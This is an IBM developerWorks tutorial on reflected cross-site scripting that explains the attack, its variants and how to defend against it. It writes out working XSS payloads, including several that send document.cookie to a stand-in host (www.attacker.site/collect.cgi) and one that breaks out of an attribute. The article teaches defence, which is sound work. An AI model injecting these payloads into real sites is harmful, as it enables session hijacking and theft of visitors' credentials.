

# IBM Rational AppScan: Cross-site scripting explained

Skill Level: Intermediate

[Amit Klein](#)

Former Director of Security and Research  
Sanctum

25 Mar 2008

Learn how hackers launch a cross-site scripting (XSS) attack, what damage it does (and doesn't), how to detect them, and how to prevent your Web site and your site visitors from these malicious invasions of privacy and security.

## What happens in a cross-site scripting attack

Cross-site scripting (XSS for short) is one of the most common application-level attacks that hackers use to sneak into Web applications. XSS is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Most attacks involve two parties: either the attacker and the Web site or the attacker and the client victim. Unlike those, the XSS attack involves three parties: the attacker, the client, and the Web site.

The goal of the XSS attack is to steal the client cookies or any other sensitive information that can identify the client with the Web site. With the token of the legitimate user in hand, the attacker can proceed to act as the user in interaction with the site, thus to impersonate the user. For example, in one audit conducted for a large company, it was possible to peek at the user's credit card number and private information by using an XSS attack. This was achieved by running malicious JavaScript code on the victim (client) browser, with the access privileges of the Web site. These are the very limited JavaScript privileges that generally do not let the script access anything but site-related information. It is important to stress that, although the vulnerability exists at the Web site, at no time is the Web site directly harmed. Yet this is enough for the script to collect the cookies and send them to the

attacker. As a result, the attacker gets the cookies and impersonates the victim.

## Explanation of the XSS technique

Let's call the site under attack: **www.vulnerable.site**. At the core of a traditional XSS attack lies a vulnerable script in the vulnerable site. This script reads part of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it (thus not making sure that it doesn't contain JavaScript code nor HTML tags). Suppose, therefore, that this script is named `welcome.cgi`, and its parameter is `name`. It can be operated this way:

```
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
```

The response would be:

```
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
...
</HTML>
```

How can this be abused? Well, the attacker manages to lure the victim client into clicking a link that the attacker supplies to the user. This is a carefully and maliciously crafted link that causes the Web browser of the victim to access the site (`www.vulnerable.site`) and invoke the vulnerable script. The data to the script consists of JavaScript that accesses the cookies that the client browser has stored for `www.vulnerable.site`. This is allowed because the client browser "experiences" the JavaScript coming from `www.vulnerable.site`, and JavaScript security model allows scripts arriving from a particular site to access cookies that belong to that site.

Such a link looks like this one:

```
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
```

The victim, upon clicking the link, will generate a request to `www.vulnerable.site`, as follows:

```
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site ...
```

The vulnerable site response would be:

```
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system ...
</HTML>
```

The victim client's browser would interpret this response as an HTML page containing a piece of JavaScript code. This code, when executed, is allowed to access all cookies belonging to `www.vulnerable.site`. Therefore, it will pop up a window at the client browser showing all client cookies belonging to `www.vulnerable.site`.

Of course, a real attack would consist of sending these cookies to the attacker. For this, the attacker may erect a Web site (`www.attacker.site`) and use a script to receive the cookies. Instead of popping up a window, the attacker would write code that accesses a URL at `www.attacker.site`, thereby invoking the cookie-reception script, with a parameter being the stolen cookies. This way, the attacker can get the cookies from the `www.attacker.site` server.

The malicious link would be:

```
http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
.cgi?cookie=%2Bdocument.cookie)</script>
```

And the response page would look like:

```
<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
<BR>
Welcome to our system ... </HTML>
```

The browser, immediately upon loading this page, would execute the embedded JavaScript and send a request to the `collect.cgi` script in `www.attacker.site`, with the value of the cookies of `www.vulnerable.site` that the browser already has. This compromises the cookies of `www.vulnerable.site` that the client has. It allows the attacker to impersonate the victim. The privacy of the client is completely breached.

### Note:

Causing the JavaScript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to an XSS attack. If the JavaScript `Alert` function can be called, there is usually no reason for the `window.open` call not to succeed. That is why most examples for XSS attacks use the `Alert` function, which makes it very easy

to detect its success.

## Scope and feasibility

The attack can take place only at the victim's browser, the same one used to access the site ([www.vulnerable.site](http://www.vulnerable.site)). The attacker needs to force the client to access the malicious link. This can happen in these ways:

- The attacker sends an e-mail message containing an HTML page that forces the browser to access the link. This requires the victim to use the HTML-enabled e-mail client, and the HTML viewer at the client is the same browser that is used for accessing [www.vulnerable.site](http://www.vulnerable.site).
- The client visits a site, perhaps operated by the attacker, where a link to an image or otherwise-active HTML forces the browser to access the link. Again, it is mandatory that the same browser be used for accessing both this site and [www.vulnerable.site](http://www.vulnerable.site).

The malicious JavaScript can access any of this information:

- Permanent cookies (of [www.vulnerable.site](http://www.vulnerable.site)) maintained by the browser
- RAM cookies (of [www.vulnerable.site](http://www.vulnerable.site)) maintained by this instance of the browser, only when it is currently browsing [www.vulnerable.site](http://www.vulnerable.site)
- Names of other windows opened for [www.vulnerable.site](http://www.vulnerable.site)
- Any information that is accessible through the current DOM (from values, HTML code, and so forth)

Identification, authentication, and authorization tokens are usually maintained as cookies. If these cookies are permanent, the victim is vulnerable to the attack even when not using the browser at the moment to access [www.vulnerable.site](http://www.vulnerable.site). If, however, the cookies are temporary, such as RAM cookies, then the client must be in session with [www.vulnerable.site](http://www.vulnerable.site).

Another possible implementation for an identification token is a URL parameter. In such cases, it is possible to access other windows by using JavaScript in this way (assuming that the name of the page with the necessary URL parameters is *foobar*):

```
<script>var victim_window=open("','foobar');alert('Can access: '+victim_window.location.search)</script>
```

## Variations on this theme

It is possible to use many HTML tags, beside `<SCRIPT>` to run the JavaScript. In fact, it is also possible for the malicious JavaScript code to reside on another server and to force the client to download the script and execute it, which can be useful if a lot of code is to be run or when the code contains special characters.

A couple of variations on these possibilities:

- Rather than `<script>...</script>`, hackers can use ``. This is good for sites that filter the `<script>` HTML tag.
- Rather than `<script>...</script>`, it is possible to use `<script src="http://...">`. This is good for a situation where the JavaScript code is too long or when it contains forbidden characters.

Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to "escape" to the free context, and then to append the XSS attack. For example, if the data is injected as a default value of an HTML form field:

```
...  
<input type=text name=user value="...">  
...
```

Then it is necessary to include `">` in the beginning of the data to ensure escaping to the free HTML context. The data would be:

```
"><script>window.open("http://www.attacker.site/collect.cgi?cookie=  
"+document.cookie)</script>
```

And the resulting HTML would be:

```
...  
<input type=text name=user value=""><script>window.open  
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">  
...
```

## Other ways to perform traditional XSS attacks

So far, we have seen that an XSS attack can take place in a parameter of a GET request that is echoed back to the response by a script. But it is also possible to

carry out the attack with a `POST` request or by using the path component of the HTTP request -- and even by using some HTTP headers (such as the `Referer`).

In particular, the path component is useful when an error page returns the erroneous path. In this case, including the malicious script in the path will often execute it. Many Web servers are found vulnerable to this attack.

## What went wrong?

It is important to understand that, although the Web site is not directly affected by this attack (it continues to function normally, malicious code is not executed on the site, no DoS condition occurs, and data is not directly manipulated nor read from the site), it is still a flaw in the privacy that the site offers its visitors, or clients. This is just like a site deploying an application with weak security tokens, whereby an attacker can guess the security token of a client and impersonate him or her.

The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, contains reasonable characters, and so on. There is usually no good reason for a valid parameter to include HTML tags or JavaScript code, and these should be removed from the parameter before it is embedded in the response or before processing it in the application, to be on the safe side.

## How to secure a site against XSS attacks

It is possible to secure a site against an XSS attack in three ways:

1. By performing in-house input filtering (sometimes called *input sanitation*). For each user input -- be it a parameter or an HTTP header -- in each script written in-house, advanced filtering against HTML tags, including JavaScript code, should be applied. For example, the `welcome.cgi` script from the previous case study should filter the `<script>` tag after it is through decoding the `name` parameter. This method has some severe downsides, though:
  - It requires the application programmer to be well-versed in security.
  - It requires the programmer to cover all possible input sources (query parameters, body parameters of `POST` requests, HTTP headers).
  - It cannot defend against vulnerabilities in third-party scripts or servers. For example, it won't defend against problems in error pages in Web servers (which display the path of the resource).

2. By performing "output filtering," that is, filtering the user data when it is sent back to the browser, rather than when it is received by a script. A good example for this would be a script that inserts the input data to a database and then presents it. In this case, it is important not to apply the filter to the original input string, but only to the output version. The drawbacks are similar to the ones for input filtering.
3. By installing a third-party application firewall, which intercepts XSS attacks before they reach the Web server and the vulnerable scripts, and blocks them. Application firewalls can cover all input methods in a generic way (including path and HTTP headers), regardless of the script or path from the in-house application, a third-party script, or a script describing no resource at all (for example, one designed to provoke a 404 page response from the server). For each input source, the application firewall inspects the data against various HTML tag patterns and JavaScript patterns. If any match, the request is rejected, and the malicious input does not arrive at the server.

## Ways to check whether your site is protected from XSS

Checking that a site is secure from XSS attacks is the logical conclusion of securing the site. Just like securing a site against XSS, checking that the site is indeed secure can be done manually (the hard way) or by using an automated Web application vulnerability-assessment tool, which offloads the burden of checking. The tool crawls the site and then launches all the variants that it knows against all of the scripts that it found by trying the parameters, the headers, and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations as possible, and if the response page contains the JavaScript code in a context where the browser can execute it, then an XSS vulnerability is exposed. For example, sending this text:

```
<script>alert(document.cookie)</script>
```

to each parameter of each script (through a JavaScript-enabled browser to reveal an XSS vulnerability of the simplest kind) the browser will pop up the JavaScript Alert window if the text is interpreted as JavaScript code. Of course, there are several variants; therefore, testing only that variant is insufficient. And, as you already learned, it is possible to inject JavaScript into various fields of the request: the parameters, the HTTP headers, and the path. However, in some cases (notably the HTTP Referer header), it is awkward to carry out the attack by using a browser.

## Summary

Cross-site scripting is one of the most common application-level attacks that hackers use to sneak into Web applications, as well as one of the most dangerous. It is an attack on the privacy of clients of a particular Web site, which can lead to a total breach of security when customer details are stolen or manipulated. Unfortunately, as this article explains, this is often done without the knowledge of either the client or the organization being attacked.

To prevent Web sites being vulnerable to these malicious acts, it is critical that an organization implement both an online and offline security strategy. This includes using an automated vulnerability-assessment tool that can test for all of the common Web vulnerabilities and application-specific vulnerabilities (such as cross-site scripting) on a site. For a full online defense, it is also vital to install a firewall application that can detect and defend against any type of manipulation to the code and content sitting on and behind the Web servers.



# Resources

## Learn

- To read the official announcement that started it all: [CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests](#).
- For examples of Web servers that are or were vulnerable to path XSS attacks, check the [Bugtraq](#) on the Insecure.org Web site.
- For additional information: [Advanced Cross-Site-Scripting with Real-time Remote Attacker Control](#) (XSS Proxy).
- Visit the [Rational software area on developerWorks](#) for technical resources and best practices for Rational Software Delivery Platform products.
- Explore [Rational computer-based, Web-based, and instructor-led online courses](#). Hone your skills and learn more about Rational tools with these courses, which range from introductory to advanced. The courses on this catalog are available for purchase through computer-based training or Web-based training. Additionally, some "Getting Started" courses are available free of charge.
- Subscribe to the [Rational Edge newsletter](#) for articles on the concepts behind effective software development.
- Subscribe to the [IBM developerWorks newsletter](#), a weekly update on the best of developerWorks tutorials, articles, downloads, community activities, webcasts and events.
- Browse the [technology bookstore](#) for books on these and other technical topics.

## Get products and technologies

- Download [trial versions of IBM Rational software](#).
- Download these [IBM product evaluation versions](#) and get your hands on application development tools and middleware products from DB2®, Lotus®, Tivoli®, and WebSphere®.

## Discuss

- Check out [developerWorks blogs](#) and get involved in the [developerWorks community](#).

## About the author

Amit Klein

If you have questions or would like to discuss what you read in this article, please

contact Ory Segal (SEGALORY@il.ibm.com). Ory Segal is Director of Security Research, responsible for researching technologies and recommending strategic direction for IBM Rational's market leading Web application security product AppScan. Ory came to IBM through the acquisition of Watchfire, the pioneer in Web application security testing and firewall solutions and brings with him more than 10 years of security and penetration testing experience.

## Trademarks

This is the first trademark attribution statement.

This is the second trademark attribution statement.